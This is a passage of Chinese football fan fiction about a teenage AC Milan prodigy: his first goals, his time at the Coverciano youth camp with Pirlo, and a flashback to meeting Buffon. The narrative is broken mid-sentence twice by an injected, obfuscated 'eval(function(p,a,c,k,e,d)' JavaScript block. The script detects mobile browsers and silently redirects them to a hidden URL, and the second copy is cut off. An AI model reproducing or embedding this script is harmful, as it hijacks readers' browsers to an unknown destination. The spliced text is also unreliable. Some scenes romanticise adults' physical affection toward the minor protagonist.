当前AC米兰的最重要的人任务是止住连败。 “阿涅尔，你配合舍瓦就好，”他对小前锋千叮咛万嘱咐，“执行我的战术，记住了吗？” 他觉得路德维希目前的表现超出预料，非常满意，前面半个小时都在认认真真地按照他的战术逼抢对面后卫，不像是某些仗着天赋拼命表现自己的其他天才球员，对他这个主教练非常尊重。 哎呀，其实他进一线队踢球也不是不行……他在心里暗暗地想，之前一定要让路德维希租借的想法也不是特别坚定了。 主席贝卢斯科尼相当看好路德维希，如果把他留在队里还能哄哄老板呢，扎切罗尼短暂消失的情商在此时又占据高地了。 主教练是幸福了，但路德维希却是难受极了。 他不喜欢这样的战术，也不享受这样的比赛，他是个礼貌的人，所以勉强让自己听从主教练的话，但是这样死气沉沉的球场让他不由得心情也变坏了。 他的心情表现在脸上，皱眉抿唇满脸严肃，但他太年轻，脸又清秀青涩，就算苦大仇深，出现在转播屏幕里的也是个忧郁美少年，披着金发像个精灵似的晃眼。 比赛节奏沉闷，为了收视率，导播于是追着路德维希切近景。 “路德维希让我想起了罗伯特·巴乔，他们在球场上都是这样的忧郁……”解说不再大声怒吼了，他放低了声音，声音轻柔，怕惊扰了这一刻。许多人和他一样都想起了意大利的忧郁王子，在这个时代，巴乔是真正的足坛巨星。 上半场结束了，伤停补时两分半。 现场的球迷开始稀稀拉拉地起身，要去卫生间解决个人问题，或者去餐厅买热狗三明治吃，球场上球员们在慢吞吞地传些慢悠悠的安全球，没什么看的必要了。 已经到了补时阶段，又不是大赛你死我活的时候，球队双方不约而同地想要赶紧中场休息，场边AC米兰的主教练扎切罗尼双手插兜翘着脚，看上去已经准备好马上进更衣室训话了。 但路德维希还在奔跑。 他不是为了防守而是为了进攻。 “——ludina、ludina！”一大串话烫嘴似的从解说的嘴里冒了出来，他甚至现场给路德维希起了个昵称方便一气呵成地大叫，“他想干什么？他要干什么？他要尝试一个人突破整条防线吗？！” “又是一次干净利落的抢断，还是皮亚琴察的中场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442988|169386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科博！” 上帝啊，这是前锋该有的技术吗，难道你是马尔蒂尼私生子？这场比赛马尔蒂尼根本没进入大名单，要不然导播肯定会切一个镜头给意大利伟大的左后卫。 沦为背景板两次的科博徒劳地试图伸手，他已经预料到下场后自己会面对主教练的疾风骤雨了，但他能怎么办，他要是拦得住他早进国家队了，于是他只能像个被抛弃的怨男一样仓皇注视着路德维希甩开他。 半场过后，路德维希依然活蹦乱跳，不像赛前有人揣测的那样适应不了意甲的高强度，对于一个未成年球员来说这是非常惊人的表现，而在场不少球员已经踢起了养生球，然后所有还在观看这场球赛的人都看着皮亚琴察三旬中场惨被新人小将军训。 皮亚琴察的半场好像一个水池，水池里全是懒洋洋的沙丁鱼，都做着赶紧结束赶紧休息的梦，然后路德维希这只邪恶的鲶鱼就精神四射地跳了进来，搅乱池水，吱哇大叫，更恐怖的是这样的鲶鱼不止一条…… 就算连败五场，舍普琴科至今仍是意甲金靴榜第一！ 整个球场乱成一锅粥，一边是带球疯跑的天才小将，另一边是迅速前插的金靴第一，先前踢养生球的坏处出现了，不是说想要下场就站原地不动了，场上红黑色和蓝色可谓是你中有我我中有你，站位相当宽松……面对想要回防的皮亚琴察球员，满脸胡子的彪形大汉加图索有一个算一个，直接给他通通放倒，裁判喘着气追着路德维希屁股后面跑，根本没功夫回头管。 “铲他！铲他！” “卡洛尼亚立刻倒地放铲！有用吗？没有用，没有用！天呐，lucia飞了起来！” 路德维希飞了起来，好像他天生就是待在空中其实是个天使还是小鸟什么的，那么轻松，简直让人心生绝望——但他只是原地一跳就越过了放铲的后卫，好像跨过地上一颗小石子那么简单。 如此轻松写意，如此美丽。 解说已经陶醉了，嘴巴里什么lucia、ludina和vika通通冒了出来。 但AC米兰的粉丝现在没空投诉这个隔空骚扰小球员的三流解说了，因为万众瞩目下，路德维希还在奔跑。 长途奔袭永远是足球世界最让人热血沸腾的场景之一，这是最暴力最无解的方式，所有人都知道球比人快，但总有某个球员会让所有人错觉他无所不能，仿佛能追上时间。 门将开始左右为男，但他不敢主动出击，只好在禁区焦躁地喊着后卫回防。 左边是路德维希，右边是舍普琴科，中路AC米兰的红黑球衣乌泱泱地也在狂奔而来，路德维希突破后位置相当好，可以自己尝试一脚远射，也可以传中让舍普琴科头球射门。 但路德维希还在带球，所有人都在猜他下一脚是不是就要射门，但他一点不像个新人那样急躁，没有人能判断出他的想法。皮亚琴察的后卫终于忍不住了，再近一点一脚大力抽射的话，球速太快门将根本反应不过来，他得像个英雄一样站出来保护球门。 他想当个英雄，但实际在电视转播里他跟个狗熊也没区别了——路德维希只是身子稍微一歪，右脚一抬，似乎要射就给他骗得找不着北了。 而且他还挡住了门将的视野，路德维希实际上是左脚轰球去了球门右边，球飞进球网的时候门将还站在原地后知后觉，因为队友的表现，他以为对面路德维希要踢近角。 皮亚琴察本来打算趁他病要他命，狠狠欺负一下米兰哥，这次不欺负，下赛季他们就去意乙了，好歹留点想当年忆往昔的谈资吧，谁知道气势汹汹了四十五分钟，最后补时阶段却被对面17岁小将打得落花流水一般抱头痛哭。 足球真是残忍，三十岁还是而立之年，正是干事业的好时候，但在足坛这都是老将们了，被滚滚后浪拍死在沙滩上也没人可惜，所有人只会感慨青春无敌，年少成名意气风发多么美好的一件事。 嘿，怎么就不是发生在我身上呢，但愤愤不平也没用，落后一球的皮亚琴察球员们无奈地叉腰站在原地，看着对面漂亮的金发小前锋终于不当忧郁美少年了，眼神亮晶晶，笑起来的时候好像全世界都照亮。 另一个也是金头发的前锋比进球的人还要激动，舍普琴科从背后扑向路德维希，两只手搂着后者的脖子，队友们就看见两个金灿灿的脑袋贴在了一起，连脸蛋也要贴着脸蛋。 “我知道你会做到的！我知道的！”他大声又得意地嚷嚷。 电视机前的球迷们都为了这一幕感觉心里暖暖的，多么美好的队友情啊，路德维希肯定在和舍普琴科互诉衷情吧……但其实路德维希在问舍瓦能不能把手放下来，他的手勒得自己有点痛。 这份队友爱对路德维希来说还是有点沉重了。 安布罗西尼在人群背后对加图索翻了个白眼，因为加图索居然也是被感动的一员，别看这人长得凶狠，但心里却是纯良极了。 7. 第 7 章 扎切罗尼最近春风得意，不再躲着媒体和球迷走生怕被丢臭鸡蛋了，甚至还愿意上上报纸电台说“对于之前的战绩，身为主教练的我必须要负很大责任，但是现在我们心爱的球队已经回来了，非常感谢球迷们这段时间的支持”这种话。 他更大的舞台是在比赛结束后的采访环节，曾经的他避之不及，如今的他迫不及待，每分每秒都在抓紧时间破除谣言，要把先前自己身上的污水洗干净： 不是我落后了，是球队对不起我，只要球员跟得上，罗森内里们，你们的功勋教练又回来啦！ 自从4月18日联赛第30轮，AC米兰1:0小胜皮亚琴察之后，这只有实力争冠的球队就重新回到了正轨，一扫过去五连败的晦气，开始狂揽积分。 但AC米兰这赛季唯一能做到的只有保住欧战席位了，拉齐奥和尤文图斯从赛季初纠缠到赛季末，米兰占据第一的时候，他们紧追不舍，米兰崩盘的时候，他们还在大打出手，为了联赛冠军的荣耀打出了血海深仇，球迷们每天睁开眼就是要算分，不仅看自己也要看对面，生怕对面卑鄙小人偷偷上分。 在这种紧张的气氛里，落伍许久的AC米兰在联赛的排名悄无声息地又回到了第三，除了同城死敌国际米兰无人在意，因为米兰比第二的尤文图斯差了十分，完全丧失了夺冠的可能。 拉齐奥71分，以一分的优势超过尤文图斯目前排名第一。 然后在联赛第33轮，重整旗鼓的AC米兰客场对阵尤文图斯时还了斑马军团一个0:2报仇，比分主队在前，客队在后。 与此同时拉齐奥1:0绝杀罗马，与尤文图斯的分差来到4分，在联赛只剩一轮的情况下，尤文图斯完全丧失了争冠机会，就算下一轮斑马军团而胜拉齐奥败，拉齐奥也会有74分，而尤文图斯只有73。 赢了这场比赛后，AC米兰的分数也只有63，这让斑马军团的球迷无语凝噎，恨不得冲进球场问为什么，北方三姐妹的情谊你AC米兰是一点都不顾了吗？！ 扎切罗尼哪管什么神圣同盟，他忙着夸自己心爱的小球员。 路德维希·阿涅尔，这个从13岁起就开始活跃在青年联赛的天才球员终于正式走入了意大利足球甲级联赛，成功地让自己的天赋闪耀在世界面前。 初次登场就是长途奔袭，一球战胜皮亚琴察，为俱乐部击碎了五轮连败的阴影，在球队被伤病潮击垮的时候他和舍普琴科扛起了AC米兰的进攻线。 仿佛要把先前AC米兰丢掉的进球都补回来，三轮过去后路德维希打入4球，高超效率直接让无数质疑他的人狼狈退场，在今天对阵尤文图斯时他更是梅开二度，进球后金发飘飘意气风发的模样让无数球迷激动到落泪。 无数人恨得不得自己也变成一阵风一株草，要拂过他漂亮的绿眼睛，要在他倒在地上的时候亲吻他汗水湿透的金发。 扎切罗尼于是深深地幸福了，他无师自通地和先前无数个为了路德维希着迷的教练一样，在一切场合用尽全力地夸赞路德维希，似乎打算转行变身意大利文坛抒情大师。 夸就夸吧，毕竟路德维希的表现有目共睹，现在媒体对他的评价不再是期待中带着质疑，毕竟天才小将陨落成年赛场不是第一次发生，但路德维希成功证明自己后，他们立刻统一了口径： 意大利下一个罗伯特·巴乔冉冉升起！ 但这一切言论都比不上球员自己出现在报纸上更让球迷期待，让意大利媒体气愤的事情来了，扎切罗尼根本不带路德维希出席赛后，就算这场比赛路德维希梅开二度，出场四次然后第三次当选最佳球员，跟在主教练身后的还是AC米兰的队长马尔蒂尼。 马尔蒂尼确实很帅，确实很有魅力，但是球迷们想看路德维希。 “扎切罗尼先生，你不带路德维希出席赛后是因为你不喜欢他吗？” 扎切罗尼笑得满脸褶子：“当然不是，不如说我是太爱他了，如果你是主教练，你的球员席里坐着路德维希这样一个球员，你知道他永远会执行你的战术，会给你带来进球，会给球队带来胜利，没有人会不爱上他的……” 他是深情满满了，好像在表演什么五十老头聊发少年狂的三流电视剧，另一个主角不在场也演得入迷，但媒体们就绝望了，因为马尔蒂尼也开始说自己的赛后感想了。 非常礼貌，非常温柔，北方三姐妹的温情都在他的话里了： “虽然我们赢得了比赛，但是尤文图斯今天也表现得相当好，他们只是欠缺了一些运气……” 《意大利足球报》的记者忍不住打断他，“请问你是觉得AC米兰的运气比尤文图斯更好吗？” “对的，毫无疑问，”马尔蒂尼也走上了球队教练的老路，他无奈地耸肩，笑意盈盈，“如果你还要问我为什么，那我只能告诉你——” “也许lulu就是被上帝偏爱的，女士们先生们，我知道你想我说出来他的名字。” 电视转播的画面停留在马尔蒂尼那双深邃迷人的蓝眼睛里。 2000年是大赛年，为了迎接欧洲杯，意大利足协提前了联赛的结束时间，好让国脚们有充足的时间调整状态，备战欧洲杯。 这是欧洲杯历史上第一次由两个国家联合承办，比利时和荷兰都会是东道主，在欧洲杯持续的短短一个月里，会有数以万计的球迷涌入这两座以风景闻名的国家。 蓝衣军团上一次欧洲杯夺冠还是1968年，这也是他们首次夺冠，欧洲杯和世界杯都是四年举办一次，意大利人已经赢得大力神杯三次，但在这32年只能无数次将欧洲冠军拱手相让。 所有人都相信这是意大利离欧洲杯最近的一次。 意大利国家队的阵容星光熠熠，每个位置都可以说得上是目前足坛最顶尖的水平，前场因扎吉、皮耶罗和托蒂，如果不是维埃里受伤，已经缺席了大半个赛季，这位国际米兰的梅阿查国王也会成为其中一员。 中场米兰双雄的首发球员阿尔贝蒂尼和迪比亚吉奥是主力，在意大利非常重视的后卫的位置，每一个球员的名字都能让其他国家的前锋看了抱头脚软：马尔蒂尼、内斯塔、卡纳瓦罗……阵容如此完美，有成熟的老将，也有当打之年的前锋，胜利似乎已经在向意大利招手了。 主教练迪诺·佐夫悠闲地翻翻球员名单，决定多带几个青年球员去见见世面，谈笑之间，一大批能去欧洲杯的小年轻们新鲜出炉，在国家队助理教练通知他们去科维尔恰诺的时候发出激动的尖叫。 比如安布罗西尼和加图索。 自古国家不幸诗家幸，在足坛里，俱乐部沉沦了就是年轻球员大放异彩的时候了，他们便宜又好用，还未成名于是心里鼓着劲要给自己挣个前途出来，也不像球星那样有什么后路随时可以脱身离去，只能破釜沉舟，抗住压力就是场场高水平。 AC米兰赛季末崩盘勉强也算有点好处了，至少让米兰多了两个国脚，虽然两人都知道自己肯定是替补，别想着上场了。 同样表现亮眼的路德维希没进国家队在众人意料之中，毕竟意大利的前场已经够挤了，而他又太年轻，在国家队主教练的心里还是个毛头小孩呢。 不过他也是要去科维尔恰诺的，甚至比安布罗西尼和加图索还要早一个月去报道。 今年除了欧洲杯，还有欧洲U-21足球锦标赛，从他13岁加入国青队开始，路德维希只要能上场的比赛，他都是球队绝对的主力前锋。 意甲联赛最后一轮比赛5月14结束，而欧青赛5月27开始，U-21的主教练马尔科·塔尔德利从路德维希首秀后就准时准点地观看AC米兰的所有比赛，不是为了考察水平，他是怕路德维希受伤。 球队的球员都来的差不多了，但是主力前锋还没到，万一路德维希在联赛里受伤了，意大利欧青赛怎么打？塔尔德利恨不得飞到米兰掐着扎切罗尼脖子大骂他不是人，之前还死活不让路德维希上场，要给人发卖到英国那种苦寒之地，现在怎么天天让17岁小孩打意甲首发？！你简直不是人，我呸！ 担惊受怕半个月，路德维希一到科维尔恰诺就被塔尔德利推进医疗室检查，后者真的害怕自己看着长大的宝贝前锋被俱乐部神经/病主教练当牛一样用给用伤了。 国青队的队医严肃地给路德维希做了全身体检，得出结论：路德维希健康得跟头牛一样。 不愧是从小的天才，就算被扎切罗尼抓着当牛使了一个月，现在还是活蹦乱跳地可以去参加欧青赛。 塔尔德利从口袋里掏出一块准备好的巧克力塞给路德维希，挥挥手示意他可以去找自己的朋友玩了。 因为年纪比球队其他人都小了好几岁，不管路德维希做什么，主教练也好，工作人员也好，还是队友们，大家一直都是哄着路德维希玩，反正后者又听话又乖巧，就像所有人一起养了个小孩一样。 路德维希就这么习以为常地吃着巧克力去找皮尔洛了。 他不觉得快要成年的人还被主教练当小孩用巧克力哄是件没面子的事，如果发生在别人身上大家当然会嘲笑此人长不大，还是个要吃巧克力的撒娇鬼，但如果对象换成路德维希，所有人又觉得很合理了。 没人会觉得路德维希是个娘娘腔，就算他长得秀气又漂亮，垂着头发被当成女孩也不奇怪。 在全是各种年龄的男性组成的足坛里，任何女性化的特质都会被无限放大，成为被攻击嘲笑的弱点，就像头狼为了争夺地位，第一个要杀死的就是老去的狼王。不管是足球运动员还是野兽，他们不约而同地都是通过攻击弱者而确立地位，来建立自己的势力的。 但路德维希踢球踢得好极了，于是漂亮的外表又要加上让人心醉的实力，更妙的是他脾气又好，这样的人很难不在全是一群时刻渴望着争斗的好斗雄性里受到欢迎，谁不想被美人微微一笑呢，不过其实就算路德维希是个骄傲到用鼻孔看人的小霸王，也会有人争相摇着尾巴说lulu你的下巴真好看……除了教练会因为路德维希幸福到站在场边抱胸，小球员们也会为了争夺和lulu相处的机会大打出手。 皮尔洛才不需要和别人抢，他是骄傲的天才中场，他自信只要上了球场，路德维希立刻就会知道谁才是最适合他的人。 没有前锋会不喜欢一个会给自己传球的中场队友。 路德维希也是。 “天呐，你都带了什么，”皮尔洛震惊，“你行李箱里怎么全是零食。” 已经一个人住了好几天的皮尔洛终于等来了他的前锋，他就像往常一样要帮路德维希把行李收拾出来，然后一打开箱子居然发现里面全是各种吃的。 “你别告诉我你连内裤都没带。”他忍不住吐槽，他可没带多余的。 “啊？” 路德维希还在吃那块巧克力，他本来是想分享给皮尔洛，但后者才不要别人给路德维希的东西，于是路德维希只好一个人吃完这个超大份巧克力。 “都是一线队的队友们送给我的。”路德维希解释。 AC米兰的青训系统相当完备，只要正式加入了青训，每个小球员都会有自己的工资，路德维希从11岁就开始带钱回家，卡特琳娜给他买了个存钱罐让他收着自己的工资，现在lulu存钱罐已经发展到第七代，各种动物形状的罐子在玻璃橱柜里或跑或飞，从常见的猫狗到鲸鱼游隼，让人相当有成就感。 ——但这些钱全加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但皮尔洛是在怀疑这些东西真能吃吗，真的没有某个人想要借机做掉脑子不好的路德维希吗，这个傻子是真的打算全吃了。 他在一堆黑乎乎又或者花里胡哨看上去像是毒蘑菇一样有毒的食物里翻翻找找，终于看见一个工业社会的制品： 精致的玻璃瓶子里是深粉色的果汁，或者是酒水也说不定，但是好歹看着不那么反人类了，人类努力进化可不是为了吃这些史前食物的。 一张纸条上在皮尔洛举起酒瓶后掉了下来，上面用歪歪扭扭的意大利语写着“樱桃酒，自酿”。 路德维希凑过来看了一眼，认出了字迹，“是舍瓦。” 很好，乌克兰的自酿樱桃酒，很满足路德维希对一切他没去过的地方的好奇心，皮尔洛心想，嘿，lulu首秀进球的时候是不是这个乌克兰人亲了lulu？下一秒他忽然又想起来这件事。 “我们晚上喝这个吧，安德烈亚。”路德维希还在亲亲热热地和皮尔洛说话，没有注意到旁边的人正在走神。 皮尔洛敷衍地回他，“可以可以……所以你真的只带了这些玩意儿？” 当然不是，虽然皮尔洛老觉得路德维希笨笨的，但后者真不是笨蛋。 然后路德维希变戏法似地从行李箱里翻出了一台数码相机。 崭新的外表，简约的设计，充满了皮尔洛希望的工业社会的痕迹，路德维希看上去相当熟练，手指轻轻一按，给皮尔洛现场拍了一张照片。 “我真服了你了……” 皮尔洛嘟囔着探过身子，头靠着路德维希的肩膀，睁大眼去看相机的屏幕。 不是想象中的丑照，甚至可以说是好看。皮尔洛以为自己会很丑，因为他记得当时自己还在心里抱怨路德维希是笨蛋来着，但出现在照片上的他一点都不苦大仇深，反而神采飞扬。 苗条的青年穿着国青队统一的蓝色制服，和国家队的深蓝色不一样，国青队的颜色更加浅一点。皮尔洛就这样盘腿坐在地上，手里还晃着那瓶樱桃酒，玻璃瓶透出微醺的光晕落在指节上，他神情无奈地看着镜头，又被路德维希翻出相机的事情震惊了，无数次感觉自己在跟一只傻狍子说话，又想骂又想笑，于是眉眼弯弯，唇角也弯弯，言语止于唇舌，什么都没说出口。 “我一直都这样吗？”皮尔洛感觉怪怪的。 路德维希不懂他的意思，“安德烈亚你一直都是这样啊，”他说，“每次你见我都在笑。” 傻子前锋。 “你是不是在说我是豪猪？”路德维希犹犹豫豫地问，他知道皮尔洛嫌弃自己傻，但是问安德烈亚原因他又不愿意告诉自己。 “不，是狍子！”皮尔洛缩了回去，坐在地上继续漫不经心地翻着行李箱，好像一瞬间也对稀奇古怪的土特产上了心，他头也不抬地大声说，“还有我在骂你，你不要表现得好像我在夸你一样！” “怎么又变了，那我可以变成一只羊吗，安德烈亚？我想去草原看看。”路德维希兴高采烈地许愿。 皮尔洛哼哼，“看我心情吧，别惹我生气……不然把你变成猪头，做成猪头意面——” 他说不下去了，不用路德维希再照一次相，他也知道自己肯定满脸通红。皮尔洛好像变成气球轻飘飘地要飞远了，但气球的绳子牢牢地系在某个地方，某个人身上，他只能永远绕着他旋转，摇晃，心甘情愿。 但是路德维希永远不会知道，他没有看皮尔洛，还在摆弄他的照相机玩，这是路德维希用自己拿到的第一笔工资买的，如果可以，他想用相机记录他的全世界。 这是非常天真的想法，安德烈亚知道了肯定要骂我傻，路德维希一想到这，便立刻去捉皮尔洛的手。 皮尔洛似乎吓了一跳，咳嗽起来，脸都呛红了，结结巴巴地问他干什么。 “我们一起照张相吧！”路德维希没有多想。 8. 第 8 章 足球并不是一个人的运动。 即使神明给予了路德维希上辈子从未拥有的健康身体和天赋，但并不是每场比赛他都能赢得胜利。 天才的称号让路德维希得到了无数关注，聚光灯追逐着他移动，连带着他的队友也被放大评判，但并非每一个人都和路德维希一样会继续在足球之路上走下去，或许因为无法抗住压力选择了离开，或许是因为迷失在聚光灯下被足球抛弃，但更多的只是无法跟上路德维希的身影。 直到进入国青队，路德维希才开始有了熟悉的队友，但和同龄的孩子相比，他就像那只已经生出漂亮羽毛的天鹅依然待在灰扑扑的鸭群，在小小的池塘里每次伸展羽翼稍微飞起都都感到拘束,也许这群丑小鸭里还会孵出第二只天鹅，但在路德维希的阴影下，他们不会觉得自己也能飞舞。 于是在1996年，13岁的路德维希踩着线进入了意大利U-17国家青年队。 这对他来说变化不大，因为意大利足球各级别的国家队都在科维尔恰诺，不过对于大部分意大利球员来说，科尔维恰诺就像上帝降临的耶路撒冷一样让人向往、憧憬又感到敬畏。 和路德维希当队友的小球员们非常不舍，伤心得恨不得也要跟着路德维希一起走了，不过转头一想自己足球踢得烂哪有那机会呢，于是更伤心了。但路德维希最大的困扰不是和朋友分开，而是他又要换新场地训练了，他有点不认路。 U-17的助理教练来接路德维希，原本的教练就摸摸他的头，让他跟着走。 “lulu，你该去更大的地方了。”他有点担心路德维希去了新地方不适应，毕竟13岁，就算踢足球再厉害，那也还是个要被哄着的小孩。 但路德维希反而问他：“那我再也不能回来了吗？”只是换了个地方，他不懂为什么大家好像再也不能见面一样伤心。 路德维希当然还可以回来，只是没办法和朋友们继续当队友了，他们已经跟不上路德维希成长的速度，继续待在一起对谁都没好处。 但这样的话对于一群小孩来说就太直接了，但大家都心里清楚，只有路德维希意识不到，或者说认识太过了——他不觉得一个人不停地向前走是多么孤独多么寂寞的一件事情，他已经习惯了在没有人引导他，也没有人陪伴他的世界里独行，并且还要走得又快又好。 通过自然纪录片去幻想人类社会的孩子以为所有人的关系都该像动物一样直接又野蛮。 雄性的狮子在接管狮群时会杀死所有幼崽，为了雌狮要和它生下新的小狮子，人类拍摄这一切，又在纪录片里感慨那头小狮子应该主动离开——哪怕未成年的幼崽离开族群的庇佑，大多数都会走向无声的死亡。 ……但人类的关系并不像上辈子在病房里长大的孩子想象中的那样冰冷。 人类学家玛格丽特·米德说，人类文明的最早标志是愈合的股骨，因为在野外受伤就代表那个人无法再行动捕猎，他对族群失去了作用，但是人类选择保护无法获得食物的同伴，直到股骨愈合。 教练们并不只是为了不耽误路德维希的足球天赋而让他提前进入U-17，而是只有在同样水平的队友的陪伴里，路德维希才能享受足球给他带来的乐趣，像个孩子，而不是孤独的天才。 科维尔恰诺就是把所有孤独的天才放在一起，让他们变成吵闹的男孩们的地方。 午后的整个基地笼罩在一股静谧的气氛中，可以让五六人并排走的大道右边是长长的似乎看不到尽头的托斯卡纳柏树，它们被修剪成尖塔一样的形状，像一顶顶瘦帽子似地戴在草地上。而路的左边是一片和缓的下坡地，大片大片蓝花鼠尾草和迷迭香在微风里伏倒了，浅紫色和灰绿混在一起，像是朦脓的雾气在露水上凝固，角落里又有星星的山桃草冒出来。 地面被树落下的影子切割成一块又一块的方格，格子们连在一起，到了尽头就是目的地，路德维希兴致盎然地踩着影子玩，助理教练慢慢地跟在他背后跟他说意大利是个大家庭，所有人都会爱你的，lulu，你不用担心。 他又说起U-17的球员来，“……皮尔洛虽然很调皮，但你们会相处得很好的，他在中场的位置非常有创造力和想象力，lulu，你以后就会和他搭档了。” 最后说到门将，“可惜吉吉走了，不然他肯定会黏在你身上一整天，要把你随身带着。他很喜欢和漂亮小孩做朋友。” “他不踢足球了吗？”路德维希踩着影子问。 “哦，不不不，他是和你一样要去更高级别的队伍里了，他可喜欢门将这个位置了，有他在球场上都吵不起来架，”助理教练忍不住笑，决定把布冯乱亲人的事藏起来，“等你长大之后你就会和他一起踢球了，你要小心点他。” 小心什么，路德维希睁大了眼，难道吉吉是个会吃掉前锋的门将吗？前锋要是射门，他就要把前锋也扑到地上？ 助理教练故意逗小孩玩，于是笑着不解释。 这条路需要向下绕个弯，两人还在最上面的路上，而中间的路被大蓬大蓬的花遮住了，这时候有一个人从最下面的路往上走，他生得高极了，于是花海冒出了个黑色脑袋，像是漂浮着往上飞来了。 “啊，那就是吉吉，”助理教练立刻指着黑色脑袋对路德维希说，“他也是今天从U-17走，要去U-21报道了。” 吉吉也抬头看见了他们，忽然站在原地不动了，开始手舞足蹈地原地蹦来蹦去。 “天呐，法尔考，我还以为我不能跟你告别了——你旁边那个漂亮孩子是谁？”他大喊。 他直接转身跨步进了坡地，鼠尾草、山桃草和迷迭香这些都只是略微高过他的膝盖，他轻松地像是涉水渡过一片浅浅的小溪，雾蒙蒙的花海被他分开了，像是光照了进来，于是露出底下大片绿棕色的土壤。他原地蹲下去几秒后又站起来，飞快地踩着午后的阳光、微风和梦一样花们出现在路德维希面前。 吉安路易吉·布冯有深棕色眉毛和天蓝色的眼睛，他的手里攥着大把绿茎的紫色薰衣草，整个人显得快活极了。他先是跟认识的助理教练拥抱，又快快乐乐地俯下身亲吻路德维希的脸颊。 正常的贴面礼是不需要亲吻脸颊的，但谁让他是吉吉·布冯呢，全世界的人都该知道他喜欢亲喜欢的人。路德维希却不知道，于是乖乖地让他亲，还亲了回去。 因为布冯太高了，他又太矮，于是布冯像座小山似地弯腰，好让路德维希可以亲吻他的额头。 13岁的路德维希已经有一米六三，但18岁的布冯足足有一米九一，本来今年1月过完生日他就该去U-18的，但是U-21的教练想让他跨级进入U-21，两边教练吵了好一阵，现在才确定布冯该去哪个级别的国青队，于是布冯在U-17又多待了好几天。 法尔考抱怨说：“吉吉，你不能再这样踩踏草坪了……你怎么还摘了薰衣草，这里还种了薰衣草吗？” 显然布冯比助理教练更了解这里，布冯刚才蹲下身就是为了摘花的，这件事他熟练极了。 “哈哈，请你一定要原谅我，亲爱的法尔考，因为我一见了这孩子我就立刻下定决心，我必须得马上和他说上话，不然我会后悔一辈子的。” “甜心，你叫什么名字？我能知道吗？求你可怜可怜我，一定要告诉我，我一见了你的绿眼睛我就乱套啦，”布冯笑着说，“我叫吉安路易吉·布冯，我喜欢大家叫我吉吉，你呢，你想这么叫我吗？” “路德维希·阿涅尔，我的朋友都叫我lulu。”路德维希也好奇地看布冯，他从没见过这么高大的球员。 “太好了lulu,那现在我们就是朋友啦！” 布冯大笑着抱起了路德维希，不比他摘一束花还要困难。路德维希的心怦怦跳，他下意识抱住布冯黑色的脑袋，被门将放在了肩膀上，布冯拍拍他的腿让他放松下来，又拜托路德维希接过一大把为他摘的紫色薰衣草。 路德维希于是一手抱着花，一手小心地搂着布冯的脖子，好像骑在一匹大马看这个世界，一切都轻飘飘的，地面那么远，蓝色天空倏地低低的，似乎有一万只蝴蝶飞进了路德维希的肚子里颤颤地飞舞，每一根金色的发丝都雀跃起来，他的眼睛像被日光照彻的湖水，水面上粼粼地闪着亮银色的涟漪。 “吉吉，你不是要去另一个地方吗？”路德维希问。 布冯快活地回答：“可我得先送我的lulu回家——我带你去U-17。” 他举着路德维希又往回走，还是要从花丛里穿过，这次他走得慢慢的，稳稳当当，穿行在枝叶蔓延的鼠尾草和迷迭香群里好像走在平地一样。路德维希赤裸的小腿偶尔被长得高大的花叶摩挲，布冯宽大的手也握住他的双腿，带来黏糊的热意，这一切都让路德维希惊奇。 只有助理教练法尔考是真的无奈了，管不了布冯，也不想管路德维希，只好继续从大路往下走，要跟两人在下面碰头，远远地传来他的问话： “吉吉，你怎么又回去了，你要去见塔尔德利先生的——” “我们别理他，lulu，”布冯小声地对路德维希承诺，“塔尔德利先生人很好，不会在乎我迟到的，等你来了U-21，我带你去偷他的小蛋糕吃。” 不过不需要布冯，U-21的主教练塔尔德利就主动给路德维希留了小蛋糕和巧克力吃，因为路德维希的体检报告永远优秀，让主教练觉得偶尔放纵一下没什么大不了的。 难怪有人觉得科维尔恰诺是世界上最好的地方，所有的天才球员都聚集在这，比八百只鸭子还吵吵闹闹，他们 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帕尔马联赛最后一轮对阵那不勒斯，布冯扑救时意外受伤，在欧洲杯前遇到伤病实在运气不好，但布冯相当乐观，根据队医估计他只要一个月就能复出，刚好赶上欧洲杯，他又不是首发门将，迪诺·佐夫没必要非得再找个人代替他。 “lulu，你想要什么法国特产？”他兴致勃勃地做购物计划，“拿破仑小像或者凯旋门模型？” 但仅仅只是过了三天，帕尔马俱乐部就不得不发布公告，因为又发现了一些身体问题，门将布冯的伤愈时间要延长半个月。不管怎样下个赛季布冯都能复出，唯一影响的是他不能去欧洲杯了。 迪诺·佐夫于是征召了拉齐奥的门将马切吉尼亚当第二门将，他已经34岁了，但过去的表现并不如22岁的小将布冯，至于阿比亚蒂还是当他的三门，他的表现经常忽高忽低，在AC米兰连败的那段时间里他也跟着沉沦了，看不见赛季初的高光表现。 “吉吉运气太差了，”皮尔洛说，“怎么在这种时候旧病复发了……”他有些感同身受，如果是他遇到这种事情，他肯定要痛哭流涕三天不要理任何人，但布冯只用了一个下午，然后开始打电话通知他的朋友们，反过来安慰他们不要为了自己伤心。 球员的人生能有几个四年呢，皮尔洛的心情也低落下去，虽然所有人都叫他天才中场，他也坚信自己的天赋，但事实上，直到现在他也没能在意甲踢出起色，只能反复在雷吉诺和布雷西亚两只意乙球队间租借，得不到国际米兰的出场机会。 和他同龄的球员都去了欧洲杯，如果他的表现配得上他的天赋，他会不会也得到国家队的征召，穿上他梦里的蓝色球衣？ 皮尔洛忍不住想。 晚训后，路德维希抱着憨豆熊出来散步，科维尔恰诺的风景会跟随季节变化，他正要经过一大片橙黄色的金盏花丛，已经很久没说话的神明忽然开口了。 “你不会再次被病痛伤害。”祂说。 嗯？这是在安慰我吗，路德维希想了好几秒这是发生了什么，“伤病吗，我已经习惯了，我不害怕。” 他只是意识到，在将来的某一天，他以为会一辈子都要走在一起的朋友会因为伤病不得不离开他。 